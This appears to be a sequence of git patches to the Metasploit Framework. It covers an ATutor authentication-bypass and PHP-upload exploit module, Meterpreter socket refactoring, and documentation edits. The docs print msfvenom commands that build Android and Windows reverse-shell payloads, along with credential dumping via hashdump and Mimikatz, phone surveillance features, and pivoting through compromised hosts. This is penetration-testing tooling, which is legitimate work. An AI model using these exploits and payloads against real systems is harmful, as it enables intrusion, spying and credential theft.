normalize_uri(target_uri.path, "mods", "#{@payload_name}.#{ext}"), 'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n" }, timeout=0.1) + return res + end + + def exec_code + res = nil + res = call_php("pht") if res == nil - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path, "mods", "#{@payload_name}.phtml"), - 'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n" - }, timeout=0.1) + res = call_php("phtml") end if res == nil - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path, "mods", "#{@payload_name}.php4"), - 'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n" - }, timeout=0.1) + res = call_php("php4") end end @@ -191,11 +187,7 @@ class MetasploitModule < Msf::Exploit::Remote return true end # unknown failure... - if res && res.body =~ /Missing zlib extensions/ - fail_with(Failure::NotVulnerable, 'Server is missing zlib extensions') - else - fail_with(Failure::Unknown, 'Unable to upload php code') - end + fail_with(Failure::Unknown, "Unable to upload php code") return false end @@ -209,7 +201,7 @@ class MetasploitModule < Msf::Exploit::Remote # use that session to leak the username 'agent' => '' }) - username = "#{$1}" if res.body =~ /(.*)<\/span>/ + username = "#{$1}" if res and res.body =~ /(.*)<\/span>/ if username return username end @@ -251,7 +243,7 @@ class MetasploitModule < Msf::Exploit::Remote fail_with(Failure::Unknown, "Unable to exploit the type juggle and bypass authentication") end - def reset_password() + def reset_password # this is due to line 79 of password_reminder.php days = (Time.now.to_i/60/60/24) # make a semi strong password, we have to encourage security now :-> @@ -279,13 +271,13 @@ class MetasploitModule < Msf::Exploit::Remote fail_with(Failure::Unknown, "Unable to exploit the TOCTOU and reset the password") end - def login(username, hash, check=false) - password = Rex::Text.sha1(Rex::Text.sha1(hash)) + def login(username, password, check=false) + hash = Rex::Text.sha1(Rex::Text.sha1(password)) res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, "login.php"), 'vars_post' => { - 'form_password_hidden' => password, + 'form_password_hidden' => hash, 'form_login' => username, 'submit' => 'Login', 'token' => '', @@ -299,7 +291,7 @@ class MetasploitModule < Msf::Exploit::Remote end end # auth failed if we land here, bail - if not check + unless check fail_with(Failure::NoAccess, "Authentication failed with username #{username}") end return nil From 102d28bda46e645e631b80ecdb6d78f1758f4519 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 22 Mar 2016 14:44:07 -0500 Subject: [PATCH 79/96] Update atutor_filemanager_traversal --- .../exploits/linux/http/atutor_filemanager_traversal.rb | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) diff --git a/modules/exploits/linux/http/atutor_filemanager_traversal.rb b/modules/exploits/linux/http/atutor_filemanager_traversal.rb index 4ba1746959..ef74506ef1 100644 --- a/modules/exploits/linux/http/atutor_filemanager_traversal.rb +++ b/modules/exploits/linux/http/atutor_filemanager_traversal.rb @@ -23,13 +23,11 @@ class MetasploitModule < Msf::Exploit::Remote You are required to login to the target to reach the vulnerability, however this can be done as a student account and remote registration is enabled by default. - Just incase remote registration isnt enabled, this module uses 2 vulnerabilities - in order to bypass the authenication: + Just in case remote registration isn't enabled, this module uses 2 vulnerabilities + in order to bypass the authentication: 1. confirm.php Authentication Bypass Type Juggling vulnerability 2. password_reminder.php Remote Password Reset TOCTOU vulnerability - - ~ spirit of the hack }, 'License' => MSF_LICENSE, 'Author' => @@ -284,7 +282,7 @@ class MetasploitModule < Msf::Exploit::Remote }, }) # poor php developer practices - cookie = "ATutorID=#{$4};" if res.get_cookies =~ /ATutorID=(.*); ATutorID=(.*); ATutorID=(.*); ATutorID=(.*);/ + cookie = "ATutorID=#{$4};" if res && res.get_cookies =~ /ATutorID=(.*); ATutorID=(.*); ATutorID=(.*); ATutorID=(.*);/ if res && res.code == 302 if res.redirection.to_s.include?('bounce.php?course=0') return cookie From effee42e2fec608b81394a6ae47df665f5f7ca01 Mon Sep 17 00:00:00 2001 From: James Lee Date: Wed, 23 Mar 2016 13:15:38 -0500 Subject: [PATCH 80/96] Raise a better exception for WSAEADDRINUSE --- lib/rex/post/meterpreter/extensions/stdapi/net/socket.rb | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/lib/rex/post/meterpreter/extensions/stdapi/net/socket.rb b/lib/rex/post/meterpreter/extensions/stdapi/net/socket.rb index 5875c1b11f..0aa0d31f4d 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/net/socket.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/net/socket.rb @@ -87,6 +87,8 @@ class Socket return SocketSubsystem::TcpServerChannel.open(client, params) rescue ::Rex::Post::Meterpreter::RequestError => e case e.code + when 10048 + raise ::Rex::AddressInUse.new(params.localhost, params.localport) when 10000 .. 10100 raise ::Rex::ConnectionError.new end @@ -125,7 +127,9 @@ class Socket return nil rescue ::Rex::Post::Meterpreter::RequestError => e case e.code - when 10000 .. 10100 + when 10048 + raise ::Rex::AddressInUse.new(params.localhost, params.localport) + when 10000 .. 10100 raise ::Rex::ConnectionError.new end raise e From 685d8fc58829adb3e02fa16ee989fcd10634668d Mon Sep 17 00:00:00 2001 From: James Lee Date: Wed, 23 Mar 2016 15:06:35 -0500 Subject: [PATCH 81/96] Use 2.x symbol literal syntax --- lib/rex/post/meterpreter/channels/socket_abstraction.rb | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) diff --git a/lib/rex/post/meterpreter/channels/socket_abstraction.rb b/lib/rex/post/meterpreter/channels/socket_abstraction.rb index 8ec61ff2ac..429db0edcb 100644 --- a/lib/rex/post/meterpreter/channels/socket_abstraction.rb +++ b/lib/rex/post/meterpreter/channels/socket_abstraction.rb @@ -18,8 +18,6 @@ module Meterpreter ### module SocketAbstraction - # include Rex::IO::SocketAbstraction - class << self def cls raise NotImplementedError @@ -53,10 +51,10 @@ module SocketAbstraction [ tmp, "#{maddr}", "#{mport}" ] end - %w{localhost localport peerhost peerport}.map do |meth| - define_method(meth.to_sym) { + %i{localhost localport peerhost peerport}.map do |meth| + define_method(meth) { return super if not channel - channel.params.send(meth.to_sym) + channel.params.send(meth) } end @@ -87,6 +85,7 @@ module SocketAbstraction attr_accessor :channel end + ## # # Constructor From 98355c397c4a569cde36d7a1cf4c78e6a588a56a Mon Sep 17 00:00:00 2001 From: James Lee Date: Wed, 23 Mar 2016 15:07:00 -0500 Subject: [PATCH 82/96] Clean up some variable names --- .../post/meterpreter/channels/socket_abstraction.rb | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/lib/rex/post/meterpreter/channels/socket_abstraction.rb b/lib/rex/post/meterpreter/channels/socket_abstraction.rb index 429db0edcb..b08965d35b 100644 --- a/lib/rex/post/meterpreter/channels/socket_abstraction.rb +++ b/lib/rex/post/meterpreter/channels/socket_abstraction.rb @@ -38,17 +38,17 @@ module SocketAbstraction csock = csock.channel.client.sock hops += 1 end - tmp,caddr,cport = csock.getsockname - tmp,raddr,rport = csock.getpeername - maddr,mport = [ channel.params.localhost, channel.params.localport ] - [ tmp, "#{caddr}#{(hops > 0) ? "-_#{hops}_" : ""}-#{raddr}", "#{mport}" ] + _address_family,caddr,_cport = csock.getsockname + address_family,raddr,_rport = csock.getpeername + _maddr,mport = [ channel.params.localhost, channel.params.localport ] + [ address_family, "#{caddr}#{(hops > 0) ? "-_#{hops}_" : ""}-#{raddr}", "#{mport}" ] end def getpeername return super if not channel - tmp,caddr,cport = channel.client.sock.getpeername + address_family,_caddr,_cport = channel.client.sock.getpeername maddr,mport = [ channel.params.peerhost, channel.params.peerport ] - [ tmp, "#{maddr}", "#{mport}" ] + [ address_family, "#{maddr}", "#{mport}" ] end %i{localhost localport peerhost peerport}.map do |meth| From 6388578ee685e739f1a092d3ac50685330469e98 Mon Sep 17 00:00:00 2001 From: James Lee Date: Wed, 23 Mar 2016 16:15:46 -0500 Subject: [PATCH 83/96] Style fixes --- lib/rex/io/datagram_abstraction.rb | 1 + lib/rex/post/meterpreter/channels/datagram.rb | 2 +- .../channels/socket_abstraction.rb | 4 ++-- .../extensions/stdapi/net/socket.rb | 22 +++++++++---------- .../socket_subsystem/tcp_client_channel.rb | 12 +++++----- .../net/socket_subsystem/udp_channel.rb | 18 +++++++-------- 6 files changed, 30 insertions(+), 29 deletions(-) diff --git a/lib/rex/io/datagram_abstraction.rb b/lib/rex/io/datagram_abstraction.rb index a052a13b1f..bf9492dfa2 100644 --- a/lib/rex/io/datagram_abstraction.rb +++ b/lib/rex/io/datagram_abstraction.rb @@ -13,6 +13,7 @@ module IO ### module DatagramAbstraction include Rex::IO::SocketAbstraction + # # Creates a streaming socket pair # diff --git a/lib/rex/post/meterpreter/channels/datagram.rb b/lib/rex/post/meterpreter/channels/datagram.rb index 3cb33b1660..16498d1092 100644 --- a/lib/rex/post/meterpreter/channels/datagram.rb +++ b/lib/rex/post/meterpreter/channels/datagram.rb @@ -52,7 +52,7 @@ class Datagram < Rex::Post::Meterpreter::Channel Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_PEER_PORT ) - if( peerhost and peerport ) + if peerhost && peerport # Maxlen here is 65507, to ensure we dont overflow, we need to write twice # If the other side has a full 64k, handle by splitting up the datagram and # writing multiple times along with the sockaddr. Consumers calling recvfrom diff --git a/lib/rex/post/meterpreter/channels/socket_abstraction.rb b/lib/rex/post/meterpreter/channels/socket_abstraction.rb index b08965d35b..c59577dfae 100644 --- a/lib/rex/post/meterpreter/channels/socket_abstraction.rb +++ b/lib/rex/post/meterpreter/channels/socket_abstraction.rb @@ -79,8 +79,8 @@ module SocketAbstraction # module DirectChannelWrite - def syswrite( buf ) - channel._write( buf ) + def syswrite(buf) + channel._write(buf) end attr_accessor :channel diff --git a/lib/rex/post/meterpreter/extensions/stdapi/net/socket.rb b/lib/rex/post/meterpreter/extensions/stdapi/net/socket.rb index 0aa0d31f4d..753dd8c808 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/net/socket.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/net/socket.rb @@ -41,7 +41,7 @@ class Socket # register the inbound handler for the tcp server channel (allowing us to # receive new client connections to a tcp server channel) - client.register_inbound_handler( Rex::Post::Meterpreter::Extensions::Stdapi::Net::SocketSubsystem::TcpServerChannel ) + client.register_inbound_handler(Rex::Post::Meterpreter::Extensions::Stdapi::Net::SocketSubsystem::TcpServerChannel) end @@ -49,7 +49,7 @@ class Socket # Deregister the inbound handler for the tcp server channel # def shutdown - client.deregister_inbound_handler( Rex::Post::Meterpreter::Extensions::Stdapi::Net::SocketSubsystem::TcpServerChannel ) + client.deregister_inbound_handler(Rex::Post::Meterpreter::Extensions::Stdapi::Net::SocketSubsystem::TcpServerChannel) end ## @@ -63,17 +63,17 @@ class Socket # in the socket parameters instance. The +params+ argument is expected to be # of type Rex::Socket::Parameters. # - def create( params ) + def create(params) res = nil - if( params.tcp? ) - if( params.server? ) - res = create_tcp_server_channel( params ) + if params.tcp? + if params.server? + res = create_tcp_server_channel(params) else - res = create_tcp_client_channel( params ) + res = create_tcp_client_channel(params) end - elsif( params.udp? ) - res = create_udp_channel( params ) + elsif params.udp? + res = create_udp_channel(params) end return res @@ -102,7 +102,7 @@ class Socket def create_tcp_client_channel(params) begin channel = SocketSubsystem::TcpClientChannel.open(client, params) - if( channel != nil ) + if channel != nil return channel.lsock end return nil @@ -121,7 +121,7 @@ class Socket def create_udp_channel(params) begin channel = SocketSubsystem::UdpChannel.open(client, params) - if( channel != nil ) + if channel != nil return channel.lsock end return nil diff --git a/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/tcp_client_channel.rb b/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/tcp_client_channel.rb index 9574caebc5..09832b6c2b 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/tcp_client_channel.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/tcp_client_channel.rb @@ -69,14 +69,14 @@ class TcpClientChannel < Rex::Post::Meterpreter::Stream # # Passes the channel initialization information up to the base class. # - def initialize( client, cid, type, flags ) - super( client, cid, type, flags ) + def initialize(client, cid, type, flags) + super(client, cid, type, flags) - lsock.extend( SocketInterface ) - lsock.extend( DirectChannelWrite ) + lsock.extend(SocketInterface) + lsock.extend(DirectChannelWrite) lsock.channel = self - rsock.extend( SocketInterface ) + rsock.extend(SocketInterface) rsock.channel = self end @@ -101,7 +101,7 @@ class TcpClientChannel < Rex::Post::Meterpreter::Stream request.add_tlv(TLV_TYPE_SHUTDOWN_HOW, how) request.add_tlv(TLV_TYPE_CHANNEL_ID, self.cid) - response = client.send_request(request) + client.send_request(request) return true end diff --git a/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/udp_channel.rb b/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/udp_channel.rb index dda93f0040..c9f3511624 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/udp_channel.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/udp_channel.rb @@ -60,17 +60,17 @@ class UdpChannel < Rex::Post::Meterpreter::Datagram # # Simply initialize this instance. # - def initialize( client, cid, type, flags ) - super( client, cid, type, flags ) + def initialize(client, cid, type, flags) + super(client, cid, type, flags) - lsock.extend( Rex::Socket::Udp ) + lsock.extend(Rex::Socket::Udp) lsock.initsock - lsock.extend( SocketInterface ) - lsock.extend( DirectChannelWrite ) + lsock.extend(SocketInterface) + lsock.extend(DirectChannelWrite) lsock.channel = self # rsock.extend( Rex::Socket::Udp ) - rsock.extend( SocketInterface ) + rsock.extend(SocketInterface) rsock.channel = self end @@ -79,8 +79,8 @@ class UdpChannel < Rex::Post::Meterpreter::Datagram # This function is called by Rex::Socket::Udp.sendto and writes data to a specified # remote peer host/port via the remote end of the channel. # - def send( buf, flags, saddr ) - af, peerhost, peerport = Rex::Socket.from_sockaddr( saddr ) + def send(buf, flags, saddr) + _af, peerhost, peerport = Rex::Socket.from_sockaddr(saddr) addends = [ { @@ -93,7 +93,7 @@ class UdpChannel < Rex::Post::Meterpreter::Datagram } ] - return _write( buf, buf.length, addends ) + return _write(buf, buf.length, addends) end end From 7f002128ad2f5dd152d577f88650c31a0df6a58c Mon Sep 17 00:00:00 2001 From: Till Maas Date: Wed, 23 Mar 2016 22:23:30 +0100 Subject: [PATCH 84/96] Rectify MSF_CFGROOT_CONFIG comment Also remove reference to feature request that does not seem to be available anymore. --- lib/msf/base/config.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/base/config.rb b/lib/msf/base/config.rb index 4878180280..ca31d16d87 100644 --- a/lib/msf/base/config.rb +++ b/lib/msf/base/config.rb @@ -27,7 +27,7 @@ class Config < Hash # @return [String] the base configuration directory def self.get_config_root - # Use MSFCFGDIR environment variable first. See feature request #5797 + # Use MSF_CFGROOT_CONFIG environment variable first. val = Rex::Compat.getenv('MSF_CFGROOT_CONFIG') if (val and File.directory?(val)) return val From 0852973b188a65e362acaa3f8ef8b0f8fe720cf5 Mon Sep 17 00:00:00 2001 From: tdoan-r7 Date: Thu, 24 Mar 2016 12:13:03 -0500 Subject: [PATCH 85/96] Minor edits for the following: https://issues.corp.rapid7.com/browse/MS-1197 https://issues.corp.rapid7.com/browse/MS-1198 https://issues.corp.rapid7.com/browse/MS-1199 https://issues.corp.rapid7.com/browse/MS-1200 https://issues.corp.rapid7.com/browse/MS-1201 --- .../scanner/http/tomcat_mgr_login.md | 10 +- .../auxiliary/scanner/smb/smb_login.md | 4 +- .../android/meterpreter/reverse_tcp.md | 46 +++---- .../windows/meterpreter/reverse_tcp.md | 130 ++++++++---------- .../modules/post/windows/gather/hashdump.md | 15 +- 5 files changed, 90 insertions(+), 115 deletions(-) diff --git a/documentation/modules/auxiliary/scanner/http/tomcat_mgr_login.md b/documentation/modules/auxiliary/scanner/http/tomcat_mgr_login.md index f558f37fe7..9db11819dd 100644 --- a/documentation/modules/auxiliary/scanner/http/tomcat_mgr_login.md +++ b/documentation/modules/auxiliary/scanner/http/tomcat_mgr_login.md @@ -4,9 +4,9 @@ authentication. Please note that for Tomcat 7 or newer, the roles required to use the manager application were changed from the single manager role to the following four roles: -* manager-gui - allows access to the HTML GUI and the status pages. -* manager-script - allows access to the text interface and the status pages. -* manager-jmx - allows access to the JMX and the status pages. +* manager-gui - Allows access to the HTML GUI and the status pages. +* manager-script - Allows access to the text interface and the status pages. +* manager-jmx - Allows access to the JMX and the status pages. * manager-status - allows access to the status pages only. Older versions of Tomcat came with default passwords enabled by default. For example: @@ -31,9 +31,7 @@ loaded. ## Vulnerable Application -To download the vulnerable application, you can find it here: - -https://tomcat.apache.org/whichversion.html +To download the vulnerable application, you can find it here: https://tomcat.apache.org/whichversion.html. ## Verification Steps diff --git a/documentation/modules/auxiliary/scanner/smb/smb_login.md b/documentation/modules/auxiliary/scanner/smb/smb_login.md index e0e9391b68..b2f9b7903a 100644 --- a/documentation/modules/auxiliary/scanner/smb/smb_login.md +++ b/documentation/modules/auxiliary/scanner/smb/smb_login.md @@ -1,6 +1,4 @@ -The smb_login module is used to brute-force SMB remotely. SMB credentials are extra valuable for -you as an attacker, because they are system credentials, and you can probably reuse some of them -and log into more machines. +The smb_login module is used to bruteforce SMB remotely. SMB credentials are extra valuable because they are system credentials, and you can probably reuse some of them to log in to more machines. ## Vulnerable Application diff --git a/documentation/modules/payload/android/meterpreter/reverse_tcp.md b/documentation/modules/payload/android/meterpreter/reverse_tcp.md index 5a5a9f6498..cde18f507f 100644 --- a/documentation/modules/payload/android/meterpreter/reverse_tcp.md +++ b/documentation/modules/payload/android/meterpreter/reverse_tcp.md @@ -1,9 +1,8 @@ -The android/meterpreter/reverse_tcp payload is a Java-based meterpreter that can be used on an -Android device. It is still at an early stage of development, but there's so many things you can +The android/meterpreter/reverse_tcp payload is a Java-based Meterpreter that can be used on an +Android device. It is still at an early stage of development, but there are so many things you can do with it already. -The Android Meterpreter allows you to remote control the file system, listen to phone calls, -retrieve or send SMS messages, geo-locate the user, support for post modules, etc. +The Android Meterpreter allows you to do things like take remote control the file system, listen to phone calls, retrieve or send SMS messages, geo-locate the user, run post-exploitation modules, etc. ## Vulnerable Application @@ -14,9 +13,9 @@ You can test android/meterpreter/reverse_tcp on these devices: An emulator is the most convenient way to test Android Meterpreter. You can try: * [Android SDK](http://developer.android.com/sdk/index.html#Other) - Creates and manages your emulators from a command prompt or terminal. -* [Android Studio](http://developer.android.com/sdk/installing/index.html?pkg=studio) - Easier to use than the SDK for managing the emulators. -* [GenyMotion](https://www.genymotion.com/download/) - An account is required. -* [AndroidAVDRepo](https://github.com/dral3x/AndroidAVDRepo) - A collection of pre-configured emulators. +* [Android Studio](http://developer.android.com/sdk/installing/index.html?pkg=studio) - Allows you to manage emulators more easily than the SDK. +* [GenyMotion](https://www.genymotion.com/download/) - Requires an account. +* [AndroidAVDRepo](https://github.com/dral3x/AndroidAVDRepo) - Contains a collection of pre-configured emulators. **A real Android device** @@ -31,7 +30,7 @@ get to test it over a real network. Currently, the most common way to use Android Meterpreter is to create it as an APK, and then execute it. -To create the APK, here is how with msfconsole: +To create the APK with msfconsole: ``` msf > use payload/android/meterpreter/reverse_tcp @@ -42,14 +41,14 @@ msf payload(reverse_tcp) > generate -t raw -f /tmp/android.apk msf payload(reverse_tcp) > ``` -And here is how with msfvenom: +To create the APK with msfvenom: ``` ./msfvenom -p android/meterpreter/reverse_tcp LHOST=[IP] LPORT=4444 -f raw -o /tmp/android.apk ``` Next, start an Android device. Upload the APK, and execute it. There are different ways to do this, -so please refer to Scenarios for more information. +so please refer to the Scenarios section for more information. ## Important Basic Commands @@ -64,7 +63,7 @@ meterpreter > pwd **cd** -The ```cd``` command allows you to change directory. Example: +The ```cd``` command allows you to change directory. For example: ``` meterpreter > cd cache @@ -73,11 +72,11 @@ meterpreter > ls **cat** -The ```cat``` command allows you to see the content of a file. +The ```cat``` command allows you to see the contents of a file. **ls** -The ```ls``` command display items in a directory. Example: +The ```ls``` command displays items in a directory. For example: ``` meterpreter > ls @@ -101,7 +100,7 @@ option allows you to do so recursively. **search** -THe ```search``` command allows you to find files on the remote target. For example: +The ```search``` command allows you to find files on the remote target. For example: ``` meterpreter > search -d . -f *.txt @@ -134,7 +133,7 @@ IPv6 Netmask : :: **getuid** -The ```getuid``` command shows you the current user that the payload is running as: +The ```getuid``` command shows the current user that the payload is running as: ``` meterpreter > getuid @@ -143,7 +142,7 @@ Server username: u0_a231 **ps** -The ```ps``` command shows you a list of processes the Android device is running. For example: +The ```ps``` command shows a list of processes the Android device is running. For example: ``` meterpreter > ps @@ -334,7 +333,7 @@ meterpreter > run post/android/capture/screen **Uploading APK to an Emulator using install_msf_apk.sh** The Metasploit Framework comes with a script that allows you to automatically upload your APK to -an active emulator, and execute it. It requires the [Android SDK platform-tools](http://developer.android.com/sdk/installing/index.html) to run, as well as [Java](https://java.com/en/download/). +an active emulator and execute it. It requires the [Android SDK platform-tools](http://developer.android.com/sdk/installing/index.html) to run, as well as [Java](https://java.com/en/download/). To use this, follow these steps: @@ -364,7 +363,7 @@ rm failed for -f, Read-only file system Starting: Intent { act=android.intent.action.MAIN cmp=com.metasploit.stage/.MainActivity } ``` -Back to msfconsole, you should receive a session: +Back in msfconsole, you should receive a session: ``` [*] Started reverse TCP handler on 192.168.1.199:4444 @@ -377,7 +376,7 @@ meterpreter > **Uploading APK to a real Android device using install_msf_apk.sh** -On the Android device, make sure to enable Developer Options. You can do this by: +On the Android device, make sure to enable Developer Options. To do this: 1. Go to Settings -> About -> Software Information 2. Tap on the Build Number section a couple of times. It should unlock Developer Options. @@ -404,10 +403,10 @@ And you should get a session. **Uploading APK from a Web Server** One way to upload an APK to Android without adb is by hosting it from a web server. To do this, -you must make sure to allow to trust "Unknown sources". Exactly how to do this varies, but normally +you must make sure to allow to trust "Unknown sources". The way to do this varies, but normally it's something like this: Settings -> Security -> Check "Unknown Sources" -Once you have that changed, do: +Once you have that changed, you'll need to: 1. Generate the APK payload. 2. Start a web server from the directory where the payload is: ```ruby -run -e httpd . -p 8181``` @@ -418,10 +417,9 @@ Once you have that changed, do: **Reconnect Android Meterpreter from the Browser Remotely** When you have the APK payload installed on your Android device, another trick to reconnect it is to -launch an intent from a browser - a term in Android development meaning an operation to be -performed. +launch an intent from a browser. An intent is simply a term in Android development that means "an operation to be performed." -To do this, here is how: +Here's how you do this: 1. In msfconsole, start a multi/handler for android/meterpreter/reverse_tcp as a background job. 2. Do: ```auxiliary/server/android_browsable_msf_launch```. diff --git a/documentation/modules/payload/windows/meterpreter/reverse_tcp.md b/documentation/modules/payload/windows/meterpreter/reverse_tcp.md index 57997dd3c8..0b65ce91bf 100644 --- a/documentation/modules/payload/windows/meterpreter/reverse_tcp.md +++ b/documentation/modules/payload/windows/meterpreter/reverse_tcp.md @@ -1,9 +1,9 @@ windows/meterpreter/reverse_tcp is one of the most powerful features the Metasploit Framework has -to offer, and there's so many things you can do with it. +to offer, and there are so many things you can do with it. -It allows you to remotely control the file system, sniff, keylog, hashdump, network pivoting, +It allows you to remotely control the file system, sniff, keylog, hashdump, perform network pivoting, control the webcam and microphone, etc. It has the best support for post modules, and you can -load extensions such as mimikatz and python interpreter, etc. +load extensions, such as mimikatz and python interpreter, etc. windows/meterpreter/reverse_tcp is also the default payload for all Windows exploit targets. @@ -28,7 +28,7 @@ First, it is typically used as a payload for an exploit. Here's how to do that: Another way to use windows/meterpreter/reverse_tcp is to generate it as an executable. Normally, you would want to do it with msfvenom. If you are old school, you have probably also heard of -msfpayload and msfencode: msfvenom is a replacement of those. +msfpayload and msfencode. msfvenom is a replacement of those. The following is a basic example of using msfvenom to to generate windows/meterpreter/reverse_tcp as an executable: @@ -51,7 +51,7 @@ C:\Users\user\Desktop **cd command** -The ```cd``` command allows you to change directory. Example: +The ```cd``` command allows you to change directories. Example: ``` meterpreter > cd C:\\ @@ -226,7 +226,7 @@ The ```screenshot``` command takes a screenshot of the target machine. **webcam_list** -The ```webcam_list``` commands shows you a list of webcams that can be controlled by you. You +The ```webcam_list``` commands shows you a list of webcams that you can control. You'll probably want to use this first before using any other webcam commands. **webcam_snap** @@ -260,8 +260,8 @@ meterpreter > getsystem **hashdump** -The ```hashdump``` commands allows you to dump the Windows hashes if there's enough privilege. -Example: +The ```hashdump``` commands allows you to dump the Windows hashes if there are the right privileges. +For sxample: ``` meterpreter > hashdump @@ -277,9 +277,8 @@ SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:e09fcdea29d93203c925b2056 **Setting up for Testing** -For testing purposes, if you're tired of manually generating a payload and starting a multi handler -repeatedly, the auto_win32_multihandler.rc resource script in Metasploit automates that. Here's how -you would use it: +For testing purposes, if you don't want to manually generate a payload and start a multi handler +repeatedly, you can use the auto_win32_multihandler.rc resource script in Metasploit to automate that process. Here's how you would use it: First, run the resource script: @@ -304,16 +303,16 @@ msf exploit(handler) > ``` Next, go to your ~/.msf4/local directory, you should see meterpreter_reverse_tcp.exe in there. -Upload that payload to your test box, execute it, and you should receive a connection. +Upload that payload to your test box and execute it. You should receive a connection. **Using a Post Module** -One of the best things about using Meterpreter is you have access to a variety of post exploitation -modules, specifically the multi and Windows categories. Post modules provide more abilities to -control of collect data from the remote machine automatically. For example: stealing passwords -from popular applications, enumerate or modify system settings, etc. +One of the best things about Meterpreter is you have access to a variety of post exploitation +modules, specifically for the multi and Windows categories. Post modules provide you with more capabilities to +collect data from the remote machine automatically. For example, you can steal passwords +from popular applications and enumerate or modify system settings. -To use a post module from the Meterpreter prompt. Simply use the ```run``` command, like so: +To use a post module from the Meterpreter prompt, simply use the ```run``` command: ``` meterpreter > run post/windows/gather/checkvm @@ -330,9 +329,7 @@ documentation. **Using the Mimikatz Extension** -[Mimikatz](https://github.com/gentilkiwi/mimikatz) is a well known tool to extract passwords, hashes, PIN code, and kerberos tickets from -memory on Windows. This might actually be the first thing you want to use as soon as you get a -high-privileged session (such as SYSTEM). +[Mimikatz](https://github.com/gentilkiwi/mimikatz) is a well known tool to extract passwords, hashes, PIN code, and kerberos tickets from memory on Windows. This might actually be the first thing you want to use as soon as you get a high-privileged session, such as SYSTEM. To begin, load the extension: @@ -342,8 +339,8 @@ Loading extension mimikatz...success. meterpreter > ``` -This will create more commands for the Meterpreter prompt, most of them are meant to be used to -retrieve user names/hashes/passwords and other information: +This will create more commands for the Meterpreter prompt. Most of them are meant to be used to +retrieve user names, hashes, passwords and other information: ``` Mimikatz Commands @@ -360,7 +357,7 @@ Mimikatz Commands wdigest Attempt to retrieve wdigest creds ``` -An example of using ```msv```: +An example of using the ```msv``` command: ``` meterpreter > msv @@ -382,8 +379,8 @@ AuthID Package Domain User Password **Using the extapi Extension** -The main purpose of the extapi extension is for advanced enumeration of the target machine. For -example: registered services, open windows, clipboard, ADSI, WMI queries, etc. +The main purpose of the extapi extension is to perform advanced enumeration of the target machine. For +example, you can enumerate things like registered services, open windows, clipboard, ADSI, WMI queries, etc. To begin, at the Meterpreter prompt, do: @@ -393,10 +390,10 @@ Loading extension extapi...success. meterpreter > ``` -One great feature of the extension is clipboard management. The Windows clipboard is interesting, -because it can store anything sensitive: files, user names, passwords, etc, but not well protected. +One great feature of the extension is clipboard management. The Windows clipboard is interesting +because it can store anything that is sensitive, such as files, user names, and passwords, but it is not well protected. -For example: A password manager is a popular tool to store passwords encrypted. It allows the user +For example, a password manager is a popular tool to store encryped passwords. It allows the user to create complex passwords without the need to memorize any of them. All the user needs to do is open the password manager, retrieve the password for a particular account by copying it, and then paste it on a login page. @@ -506,12 +503,15 @@ To learn more about the Python extension, please read this [wiki](https://github **Network Pivoting** -There are three mains ways that you can use for moving around inside a network: the route command -in the msf prompt, in the Meterpreter prompt, and portfwd. +There are three mains ways that you can use for moving around inside a network: -The route command from the msf prompt allows you connect to hosts on a different network through -the compromised machine. You should be able to determine that by looking at the compromised -machine's ipconfig: + - The route command in the msf prompt + - The route command in the the Meterpreter prompt + - The portfwd command + +***Routing through msfconsole*** + +The route command from the msf prompt allows you connect to hosts on a different network through the compromised machine. You should be able to determine that by looking at the compromised machine's ipconfig: ``` [*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.201:49182) at 2016-03-04 20:35:31 -0600 @@ -547,10 +547,7 @@ IPv4 Netmask : 255.255.255.255 ... ``` -The above shows that we have a Meterpreter connection to 192.168.1.201 - let's call this box A. -And then box A is connected to the 192.100.0.0/24 VPN network. We as an attacker aren't connected -to this network directly, but we can explore that network through box A. So here's what we do by -routing: +The example above shows that we have a Meterpreter connection to 192.168.1.201. Let's call this box A, and it is connected to the 192.100.0.0/24 VPN network. As an attacker, we aren't connected to this network directly, but we can explore that network through box A. At the msf prompt, do: @@ -559,10 +556,9 @@ msf exploit(handler) > route add 192.100.0.0 255.255.255.0 1 [*] Route added ``` -Note: ```1``` means the session ID, the payload that is used as a gateway to talk to other machines. +The ```1``` at the end of the route indicates the session ID, the payload that is used as a gateway to talk to other machines. -So right now, we have a connection established to the VPN, and we should be able to connect to -another machine from that network: +So right now, we have a connection established to the VPN, and we should be able to connect to another machine from that network: ``` msf auxiliary(smb_version) > run @@ -573,16 +569,15 @@ msf auxiliary(smb_version) > run msf auxiliary(smb_version) > ``` -Another neat trick using route is that you can also bypass the compromised host's firewall this -way. For example, if the host has HTTP open, but SMB blocked by the firewall. You can try to -compromise it via HTTP first, use the route command to talk to SMB, and then try to exploit SMB. +Another neat trick using route is that you can also bypass the compromised host's firewall this way. For example, if the host has HTTP open, but SMB is blocked by the firewall, you can try to compromise it via HTTP first. You'll need to use the route command to talk to SMB and then try to exploit SMB. -The route command in 